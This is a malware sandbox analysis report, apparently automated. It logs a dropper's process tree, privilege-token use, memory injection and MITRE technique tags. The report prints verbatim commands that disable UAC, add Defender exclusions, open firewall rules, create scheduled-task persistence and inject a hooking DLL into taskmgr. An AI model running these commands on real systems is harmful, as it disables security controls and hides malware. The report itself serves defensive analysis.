Token: SeLoadDriverPrivilege	3108	WMIC.exe
Token: SeSystemProfilePrivilege	3108	WMIC.exe
Token: SeSystemtimePrivilege	3108	WMIC.exe
Token: SeProfSingleProcessPrivilege	3108	WMIC.exe
Token: SeIncBasePriorityPrivilege	3108	WMIC.exe
Token: SeCreatePagefilePrivilege	3108	WMIC.exe
Token: SeBackupPrivilege	3108	WMIC.exe
Token: SeRestorePrivilege	3108	WMIC.exe
Token: SeShutdownPrivilege	3108	WMIC.exe
Token: SeDebugPrivilege	3108	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3108	WMIC.exe
Token: SeRemoteShutdownPrivilege	3108	WMIC.exe
Token: SeUndockPrivilege	3108	WMIC.exe
Token: SeManageVolumePrivilege	3108	WMIC.exe
Token: 33	3108	WMIC.exe
Token: 34	3108	WMIC.exe
Token: 35	3108	WMIC.exe
Token: 36	3108	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3108	WMIC.exe
Token: SeSecurityPrivilege	3108	WMIC.exe
Token: SeTakeOwnershipPrivilege	3108	WMIC.exe
Token: SeLoadDriverPrivilege	3108	WMIC.exe
Token: SeSystemProfilePrivilege	3108	WMIC.exe
Token: SeSystemtimePrivilege	3108	WMIC.exe
Token: SeProfSingleProcessPrivilege	3108	WMIC.exe
Token: SeIncBasePriorityPrivilege	3108	WMIC.exe
Token: SeCreatePagefilePrivilege	3108	WMIC.exe
Token: SeBackupPrivilege	3108	WMIC.exe
Token: SeRestorePrivilege	3108	WMIC.exe
Token: SeShutdownPrivilege	3108	WMIC.exe
Token: SeDebugPrivilege	3108	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3108	WMIC.exe
Token: SeRemoteShutdownPrivilege	3108	WMIC.exe
Token: SeUndockPrivilege	3108	WMIC.exe
Token: SeManageVolumePrivilege	3108	WMIC.exe
Token: 33	3108	WMIC.exe
Token: 34	3108	WMIC.exe
Token: 35	3108	WMIC.exe
Token: 36	3108	WMIC.exe
Token: SeDebugPrivilege	408	powershell.exe
Token: SeDebugPrivilege	1700	powershell.exe
Token: SeSystemEnvironmentPrivilege	1652	csrss.exe
Token: SeDebugPrivilege	5044	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
Token: SeDebugPrivilege	4968	MSBuild.exe

Suspicious use of FindShellTrayWindow 7 IoCs

pid	Process
3204	u1v4.1.exe
3204	u1v4.1.exe
3204	u1v4.1.exe
3204	u1v4.1.exe
3204	u1v4.1.exe
3204	u1v4.1.exe
3204	u1v4.1.exe

Suspicious use of SendNotifyMessage 7 IoCs

pid	Process
3204	u1v4.1.exe
3204	u1v4.1.exe
3204	u1v4.1.exe
3204	u1v4.1.exe
3204	u1v4.1.exe
3204	u1v4.1.exe
3204	u1v4.1.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1504	UniversalInstaller.exe
1504	UniversalInstaller.exe
3064	UniversalInstaller.exe
3064	UniversalInstaller.exe
4968	MSBuild.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 616 wrote to memory of 2136	616	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe	81
PID 616 wrote to memory of 2136	616	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe	81
PID 2136 wrote to memory of 1012	2136	csc.exe	83
PID 2136 wrote to memory of 1012	2136	csc.exe	83
PID 616 wrote to memory of 2072	616	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe	85
PID 616 wrote to memory of 2072	616	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe	85
PID 616 wrote to memory of 2512	616	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe	87
PID 616 wrote to memory of 2512	616	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe	87
PID 616 wrote to memory of 2512	616	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe	87
PID 616 wrote to memory of 2380	616	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe	88
PID 616 wrote to memory of 2380	616	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe	88
PID 616 wrote to memory of 2380	616	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe	88
PID 616 wrote to memory of 2380	616	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe	88
PID 616 wrote to memory of 2380	616	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe	88
PID 616 wrote to memory of 2380	616	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe	88
PID 616 wrote to memory of 2380	616	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe	88
PID 616 wrote to memory of 2380	616	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe	88
PID 616 wrote to memory of 1948	616	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe	89
PID 616 wrote to memory of 1948	616	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe	89
PID 616 wrote to memory of 1948	616	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe	89
PID 2380 wrote to memory of 2416	2380	regasm.exe	93
PID 2380 wrote to memory of 2416	2380	regasm.exe	93
PID 2380 wrote to memory of 2416	2380	regasm.exe	93
PID 2380 wrote to memory of 3828	2380	regasm.exe	94
PID 2380 wrote to memory of 3828	2380	regasm.exe	94
PID 2380 wrote to memory of 3828	2380	regasm.exe	94
PID 3828 wrote to memory of 4904	3828	qLgaAqw7EpH35Xsfdv9RNmRo.exe	96
PID 3828 wrote to memory of 4904	3828	qLgaAqw7EpH35Xsfdv9RNmRo.exe	96
PID 3828 wrote to memory of 4904	3828	qLgaAqw7EpH35Xsfdv9RNmRo.exe	96
PID 2380 wrote to memory of 1924	2380	regasm.exe	98
PID 2380 wrote to memory of 1924	2380	regasm.exe	98
PID 2380 wrote to memory of 1924	2380	regasm.exe	98
PID 1924 wrote to memory of 2864	1924	1UrrRz0s9XsDwfGhiB5WokUn.exe	99
PID 1924 wrote to memory of 2864	1924	1UrrRz0s9XsDwfGhiB5WokUn.exe	99
PID 1924 wrote to memory of 2864	1924	1UrrRz0s9XsDwfGhiB5WokUn.exe	99
PID 2416 wrote to memory of 4824	2416	Otznutjm0eiG6whvJrjGoUXc.exe	185
PID 2416 wrote to memory of 4824	2416	Otznutjm0eiG6whvJrjGoUXc.exe	185
PID 2416 wrote to memory of 4824	2416	Otznutjm0eiG6whvJrjGoUXc.exe	185
PID 332 wrote to memory of 2748	332	1UrrRz0s9XsDwfGhiB5WokUn.exe	110
PID 332 wrote to memory of 2748	332	1UrrRz0s9XsDwfGhiB5WokUn.exe	110
PID 332 wrote to memory of 2748	332	1UrrRz0s9XsDwfGhiB5WokUn.exe	110
PID 3352 wrote to memory of 4888	3352	qLgaAqw7EpH35Xsfdv9RNmRo.exe	112
PID 3352 wrote to memory of 4888	3352	qLgaAqw7EpH35Xsfdv9RNmRo.exe	112
PID 3352 wrote to memory of 4888	3352	qLgaAqw7EpH35Xsfdv9RNmRo.exe	112
PID 332 wrote to memory of 4252	332	1UrrRz0s9XsDwfGhiB5WokUn.exe	114
PID 332 wrote to memory of 4252	332	1UrrRz0s9XsDwfGhiB5WokUn.exe	114
PID 4252 wrote to memory of 3664	4252	cmd.exe	116
PID 4252 wrote to memory of 3664	4252	cmd.exe	116
PID 3352 wrote to memory of 432	3352	qLgaAqw7EpH35Xsfdv9RNmRo.exe	169
PID 3352 wrote to memory of 432	3352	qLgaAqw7EpH35Xsfdv9RNmRo.exe	169
PID 432 wrote to memory of 4792	432	cmd.exe	119
PID 432 wrote to memory of 4792	432	cmd.exe	119
PID 3352 wrote to memory of 1040	3352	qLgaAqw7EpH35Xsfdv9RNmRo.exe	120
PID 3352 wrote to memory of 1040	3352	qLgaAqw7EpH35Xsfdv9RNmRo.exe	120
PID 3352 wrote to memory of 1040	3352	qLgaAqw7EpH35Xsfdv9RNmRo.exe	120
PID 332 wrote to memory of 3200	332	1UrrRz0s9XsDwfGhiB5WokUn.exe	122
PID 332 wrote to memory of 3200	332	1UrrRz0s9XsDwfGhiB5WokUn.exe	122
PID 332 wrote to memory of 3200	332	1UrrRz0s9XsDwfGhiB5WokUn.exe	122
PID 3352 wrote to memory of 1856	3352	qLgaAqw7EpH35Xsfdv9RNmRo.exe	124
PID 3352 wrote to memory of 1856	3352	qLgaAqw7EpH35Xsfdv9RNmRo.exe	124
PID 3352 wrote to memory of 1856	3352	qLgaAqw7EpH35Xsfdv9RNmRo.exe	124
PID 332 wrote to memory of 1556	332	1UrrRz0s9XsDwfGhiB5WokUn.exe	126
PID 332 wrote to memory of 1556	332	1UrrRz0s9XsDwfGhiB5WokUn.exe	126
PID 332 wrote to memory of 1556	332	1UrrRz0s9XsDwfGhiB5WokUn.exe	126

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe
"C:\Users\Admin\AppData\Local\Temp\97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe"
1⤵
- UAC bypass
- Windows security bypass
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:616
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2i0x2ejd\2i0x2ejd.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2136
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5738.tmp" "c:\Users\Admin\AppData\Local\Temp\2i0x2ejd\CSC87223928E922495EA2D8134631F43D0.TMP"
    3⤵
    PID:1012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe" -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2072
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
  2⤵
  PID:2512
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
  2⤵
  - Drops startup file
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2380
- - C:\Users\Admin\Pictures\Otznutjm0eiG6whvJrjGoUXc.exe
    "C:\Users\Admin\Pictures\Otznutjm0eiG6whvJrjGoUXc.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2416
  - - C:\Users\Admin\AppData\Local\Temp\u1v4.0.exe
      "C:\Users\Admin\AppData\Local\Temp\u1v4.0.exe"
      4⤵
      Executes dropped EXE
      PID:4824
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4824 -s 1096
        5⤵
        Program crash
        
        PID:1072
  - - C:\Users\Admin\AppData\Local\Temp\Qg_Appv5.exe
      "C:\Users\Admin\AppData\Local\Temp\Qg_Appv5.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:3600
    - - C:\Users\Admin\AppData\Local\Temp\driverRemote_debug\UniversalInstaller.exe
        
        C:\Users\Admin\AppData\Local\Temp\driverRemote_debug\UniversalInstaller.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:1504
      - C:\Users\Admin\AppData\Roaming\driverRemote_debug\UniversalInstaller.exe
        
        C:\Users\Admin\AppData\Roaming\driverRemote_debug\UniversalInstaller.exe
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of SetWindowsHookEx
        
        PID:3064
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        7⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: MapViewOfSection
        
        PID:904
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        8⤵
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:4968
  - - C:\Users\Admin\AppData\Local\Temp\u1v4.1.exe
      "C:\Users\Admin\AppData\Local\Temp\u1v4.1.exe"
      4⤵
      Executes dropped EXE
      Checks SCSI registry key(s)
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:3204
    - - C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5044
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2416 -s 1216
      4⤵
      Program crash
      PID:3152
- - C:\Users\Admin\Pictures\qLgaAqw7EpH35Xsfdv9RNmRo.exe
    "C:\Users\Admin\Pictures\qLgaAqw7EpH35Xsfdv9RNmRo.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3828
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4904
  - - C:\Users\Admin\Pictures\qLgaAqw7EpH35Xsfdv9RNmRo.exe
      "C:\Users\Admin\Pictures\qLgaAqw7EpH35Xsfdv9RNmRo.exe"
      4⤵
      Windows security bypass
      Executes dropped EXE
      Windows security modification
      Adds Run key to start application
      Checks for VirtualBox DLLs, possible anti-VM trick
      Drops file in Windows directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3352
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4888
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:432
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:4792
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1040
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1856
    - - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Manipulates WinMonFS driver.
        Drops file in Windows directory
        Suspicious use of AdjustPrivilegeToken
        
        PID:1652
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4324
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:4712
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        6⤵
        
        PID:3932
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:408
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1700
      - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        6⤵
        Executes dropped EXE
        
        PID:1720
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:432
      - C:\Windows\windefender.exe
        
        "C:\Windows\windefender.exe"
        6⤵
        Executes dropped EXE
        
        PID:1648
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        7⤵
        
        PID:4912
        
        C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        8⤵
        Launches sc.exe
        
        PID:3640
- - C:\Users\Admin\Pictures\1UrrRz0s9XsDwfGhiB5WokUn.exe
    "C:\Users\Admin\Pictures\1UrrRz0s9XsDwfGhiB5WokUn.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1924
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2864
  - - C:\Users\Admin\Pictures\1UrrRz0s9XsDwfGhiB5WokUn.exe
      "C:\Users\Admin\Pictures\1UrrRz0s9XsDwfGhiB5WokUn.exe"
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Checks for VirtualBox DLLs, possible anti-VM trick
      Drops file in Windows directory
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:332
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2748
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4252
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:3664
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3200
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1556
- - C:\Users\Admin\Pictures\O1U8QYaajTS0BZPISM3FxE0K.exe
    "C:\Users\Admin\Pictures\O1U8QYaajTS0BZPISM3FxE0K.exe"
    3⤵
    - Executes dropped EXE
    PID:3612
  - - C:\Users\Admin\AppData\Local\Temp\7zSA96F.tmp\Install.exe
      .\Install.exe /nxdidQZJ "385118" /S
      4⤵
      Checks BIOS information in registry
      Executes dropped EXE
      Enumerates system info in registry
      PID:3232
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        5⤵
        
        PID:1880
      - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        6⤵
        
        PID:248
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3556
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3108
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bWycNackLSywaqkmgR" /SC once /ST 10:58:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\BTfyksI.exe\" em /eIsite_idTbq 385118 /S" /V1 /F
        5⤵
        Drops file in Windows directory
        Creates scheduled task(s)
        
        PID:4124
- - C:\Users\Admin\Pictures\NRac57mri7cl0dHPW1FZloc6.exe
    "C:\Users\Admin\Pictures\NRac57mri7cl0dHPW1FZloc6.exe"
    3⤵
    - Modifies firewall policy service
    - Windows security bypass
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Windows security modification
    - Checks whether UAC is enabled
    - Drops file in System32 directory
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:3856
- - C:\Users\Admin\Pictures\lB2G1RrFYTBuxYDMBDNXqJ8n.exe
    "C:\Users\Admin\Pictures\lB2G1RrFYTBuxYDMBDNXqJ8n.exe" --silent --allusers=0
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Enumerates connected drives
    - Modifies system certificate store
    PID:5008
  - - C:\Users\Admin\Pictures\lB2G1RrFYTBuxYDMBDNXqJ8n.exe
      C:\Users\Admin\Pictures\lB2G1RrFYTBuxYDMBDNXqJ8n.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x2c0,0x2c4,0x2c8,0x29c,0x2cc,0x6dd3e1d0,0x6dd3e1dc,0x6dd3e1e8
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3216
  - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\lB2G1RrFYTBuxYDMBDNXqJ8n.exe
      "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\lB2G1RrFYTBuxYDMBDNXqJ8n.exe" --version
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:908
  - - C:\Users\Admin\Pictures\lB2G1RrFYTBuxYDMBDNXqJ8n.exe
      "C:\Users\Admin\Pictures\lB2G1RrFYTBuxYDMBDNXqJ8n.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=0 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=5008 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240423105732" --session-guid=e06e6f85-a56e-4864-bd04-b42543efc5a0 --server-tracking-blob="YTA1NWIwNzJhMWVkZTFhMDlhMDAyMjkyNzEzMGVhNmY2MmU3YzMzNWFiNWQzMTYyMWJlYmQwNGZmY2RkZjFhOTp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N19fMTIzIiwic3lzdGVtIjp7InBsYXRmb3JtIjp7ImFyY2giOiJ4ODZfNjQiLCJvcHN5cyI6IldpbmRvd3MiLCJvcHN5cy12ZXJzaW9uIjoiMTEiLCJwYWNrYWdlIjoiRVhFIn19LCJ0aW1lc3RhbXAiOiIxNzEzODY5ODIxLjUwNTgiLCJ1dG0iOnsiY2FtcGFpZ24iOiI3NjdfXzEyMyIsIm1lZGl1bSI6ImFwYiIsInNvdXJjZSI6Im1rdCJ9LCJ1dWlkIjoiNmIxYWI0ZDQtMWE2Ni00YTY2LWJmOWItODU2NjgyOWFiODZkIn0= " --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=9805000000000000
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Enumerates connected drives
      PID:2336
    - - C:\Users\Admin\Pictures\lB2G1RrFYTBuxYDMBDNXqJ8n.exe
        
        C:\Users\Admin\Pictures\lB2G1RrFYTBuxYDMBDNXqJ8n.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x2b0,0x2b4,0x2b8,0x28c,0x2bc,0x6d3be1d0,0x6d3be1dc,0x6d3be1e8
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4836
  - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404231057321\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe
      "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404231057321\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe"
